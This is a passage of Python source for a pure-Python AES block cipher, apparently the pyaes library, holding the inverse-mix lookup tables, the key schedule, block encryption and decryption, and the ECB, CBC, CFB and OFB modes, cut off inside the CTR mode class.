0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ] U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ] U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ] U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ] def __init__(self, key): if len(key) not in (16, 24, 32): raise ValueError('Invalid key size') rounds = self.number_of_rounds[len(key)] # Encryption round keys self._Ke = [[0] * 4 for i in xrange(rounds + 1)] # Decryption round keys self._Kd = [[0] * 4 for i in xrange(rounds + 1)] round_key_count = (rounds + 1) * 4 KC = len(key) // 4 # Convert the key into ints tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ] # Copy values into round key arrays for i in xrange(0, KC): self._Ke[i // 4][i % 4] = tk[i] self._Kd[rounds - (i // 4)][i % 4] = tk[i] # Key expansion (fips-197 section 5.2) rconpointer = 0 t = KC while t < round_key_count: tt = tk[KC - 1] tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ (self.S[(tt >> 8) & 0xFF] << 16) ^ (self.S[ tt & 0xFF] << 8) ^ self.S[(tt >> 24) & 0xFF] ^ (self.rcon[rconpointer] << 24)) rconpointer += 1 if KC != 8: for i in xrange(1, KC): tk[i] ^= tk[i - 1] # Key expansion for 256-bit keys is "slightly different" (fips-197) else: for i in xrange(1, KC // 2): tk[i] ^= tk[i - 1] tt = tk[KC // 2 - 1] tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ (self.S[(tt >> 8) & 0xFF] << 8) ^ (self.S[(tt >> 16) & 0xFF] << 16) ^ (self.S[(tt >> 24) & 0xFF] << 24)) for i in xrange(KC // 2 + 1, KC): tk[i] ^= tk[i - 1] # Copy values into round key arrays j = 0 while j < KC and t < round_key_count: self._Ke[t // 4][t % 4] = tk[j] self._Kd[rounds - (t // 4)][t % 4] = tk[j] j += 1 t += 1 # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) for r in xrange(1, rounds): for j in xrange(0, 4): tt = self._Kd[r][j] self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ self.U2[(tt >> 16) & 0xFF] ^ self.U3[(tt >> 8) & 0xFF] ^ self.U4[ tt & 0xFF]) def encrypt(self, plaintext): 'Encrypt a block of plain text using the AES block cipher.' if len(plaintext) != 16: raise ValueError('wrong block length') rounds = len(self._Ke) - 1 (s1, s2, s3) = [1, 2, 3] a = [0, 0, 0, 0] # Convert plaintext to (ints ^ key) t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] # Apply round transforms for r in xrange(1, rounds): for i in xrange(0, 4): a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ self.T4[ t[(i + s3) % 4] & 0xFF] ^ self._Ke[r][i]) t = copy.copy(a) # The last round is special result = [ ] for i in xrange(0, 4): tt = self._Ke[rounds][i] result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) return result def decrypt(self, ciphertext): 'Decrypt a block of cipher text using the AES block cipher.' if len(ciphertext) != 16: raise ValueError('wrong block length') rounds = len(self._Kd) - 1 (s1, s2, s3) = [3, 2, 1] a = [0, 0, 0, 0] # Convert ciphertext to (ints ^ key) t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] # Apply round transforms for r in xrange(1, rounds): for i in xrange(0, 4): a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ self.T8[ t[(i + s3) % 4] & 0xFF] ^ self._Kd[r][i]) t = copy.copy(a) # The last round is special result = [ ] for i in xrange(0, 4): tt = self._Kd[rounds][i] result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) return result class Counter(object): '''A counter object for the Counter (CTR) mode of operation. To create a custom counter, you can usually just override the increment method.''' def __init__(self, initial_value = 1): # Convert the value into an array of bytes long self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ] value = property(lambda s: s._counter) def increment(self): '''Increment the counter (overflow rolls back to 0).''' for i in xrange(len(self._counter) - 1, -1, -1): self._counter[i] += 1 if self._counter[i] < 256: break # Carry the one self._counter[i] = 0 # Overflow else: self._counter = [ 0 ] * len(self._counter) class AESBlockModeOfOperation(object): '''Super-class for AES modes of operation that require blocks.''' def __init__(self, key): self._aes = AES(key) def decrypt(self, ciphertext): raise Exception('not implemented') def encrypt(self, plaintext): raise Exception('not implemented') class AESStreamModeOfOperation(AESBlockModeOfOperation): '''Super-class for AES modes of operation that are stream-ciphers.''' class AESSegmentModeOfOperation(AESStreamModeOfOperation): '''Super-class for AES modes of operation that segment data.''' segment_bytes = 16 class AESModeOfOperationECB(AESBlockModeOfOperation): '''AES Electronic Codebook Mode of Operation. o Block-cipher, so data must be padded to 16 byte boundaries Security Notes: o This mode is not recommended o Any two identical blocks produce identical encrypted values, exposing data patterns. (See the image of Tux on wikipedia) Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1''' name = "Electronic Codebook (ECB)" def encrypt(self, plaintext): if len(plaintext) != 16: raise ValueError('plaintext block must be 16 bytes') plaintext = _string_to_bytes(plaintext) return _bytes_to_string(self._aes.encrypt(plaintext)) def decrypt(self, ciphertext): if len(ciphertext) != 16: raise ValueError('ciphertext block must be 16 bytes') ciphertext = _string_to_bytes(ciphertext) return _bytes_to_string(self._aes.decrypt(ciphertext)) class AESModeOfOperationCBC(AESBlockModeOfOperation): '''AES Cipher-Block Chaining Mode of Operation. o The Initialization Vector (IV) o Block-cipher, so data must be padded to 16 byte boundaries o An incorrect initialization vector will only cause the first block to be corrupt; all other blocks will be intact o A corrupt bit in the cipher text will cause a block to be corrupted, and the next block to be inverted, but all other blocks will be intact. Security Notes: o This method (and CTR) ARE recommended. Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2''' name = "Cipher-Block Chaining (CBC)" def __init__(self, key, iv = None): if iv is None: self._last_cipherblock = [ 0 ] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._last_cipherblock = _string_to_bytes(iv) AESBlockModeOfOperation.__init__(self, key) def encrypt(self, plaintext): if len(plaintext) != 16: raise ValueError('plaintext block must be 16 bytes') plaintext = _string_to_bytes(plaintext) precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] self._last_cipherblock = self._aes.encrypt(precipherblock) return _bytes_to_string(self._last_cipherblock) def decrypt(self, ciphertext): if len(ciphertext) != 16: raise ValueError('ciphertext block must be 16 bytes') cipherblock = _string_to_bytes(ciphertext) plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] self._last_cipherblock = cipherblock return _bytes_to_string(plaintext) class AESModeOfOperationCFB(AESSegmentModeOfOperation): '''AES Cipher Feedback Mode of Operation. o A stream-cipher, so input does not need to be padded to blocks, but does need to be padded to segment_size Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3''' name = "Cipher Feedback (CFB)" def __init__(self, key, iv, segment_size = 1): if segment_size == 0: segment_size = 1 if iv is None: self._shift_register = [ 0 ] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._shift_register = _string_to_bytes(iv) self._segment_bytes = segment_size AESBlockModeOfOperation.__init__(self, key) segment_bytes = property(lambda s: s._segment_bytes) def encrypt(self, plaintext): if len(plaintext) % self._segment_bytes != 0: raise ValueError('plaintext block must be a multiple of segment_size') plaintext = _string_to_bytes(plaintext) # Break block into segments encrypted = [ ] for i in xrange(0, len(plaintext), self._segment_bytes): plaintext_segment = plaintext[i: i + self._segment_bytes] xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)] cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ] # Shift the top bits out and the ciphertext in self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) encrypted.extend(cipher_segment) return _bytes_to_string(encrypted) def decrypt(self, ciphertext): if len(ciphertext) % self._segment_bytes != 0: raise ValueError('ciphertext block must be a multiple of segment_size') ciphertext = _string_to_bytes(ciphertext) # Break block into segments decrypted = [ ] for i in xrange(0, len(ciphertext), self._segment_bytes): cipher_segment = ciphertext[i: i + self._segment_bytes] xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)] plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ] # Shift the top bits out and the ciphertext in self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) decrypted.extend(plaintext_segment) return _bytes_to_string(decrypted) class AESModeOfOperationOFB(AESStreamModeOfOperation): '''AES Output Feedback Mode of Operation. o A stream-cipher, so input does not need to be padded to blocks, allowing arbitrary length data. o A bit twiddled in the cipher text, twiddles the same bit in the same bit in the plain text, which can be useful for error correction techniques. Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4''' name = "Output Feedback (OFB)" def __init__(self, key, iv = None): if iv is None: self._last_precipherblock = [ 0 ] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._last_precipherblock = _string_to_bytes(iv) self._remaining_block = [ ] AESBlockModeOfOperation.__init__(self, key) def encrypt(self, plaintext): encrypted = [ ] for p in _string_to_bytes(plaintext): if len(self._remaining_block) == 0: self._remaining_block = self._aes.encrypt(self._last_precipherblock) self._last_precipherblock = [ ] precipherbyte = self._remaining_block.pop(0) self._last_precipherblock.append(precipherbyte) cipherbyte = p ^ precipherbyte encrypted.append(cipherbyte) return _bytes_to_string(encrypted) def decrypt(self, ciphertext): # AES-OFB is symetric return self.encrypt(ciphertext) class AESModeOfOperationCTR(AESStreamModeOfOperation): '''AES Counter Mode of Operation. o A stream-cipher, so input does not need to be padded to blocks, allowing arbitrary length data. o The counter must be the same size as the key size (ie. len(key)) o Each block independant of the other, so a 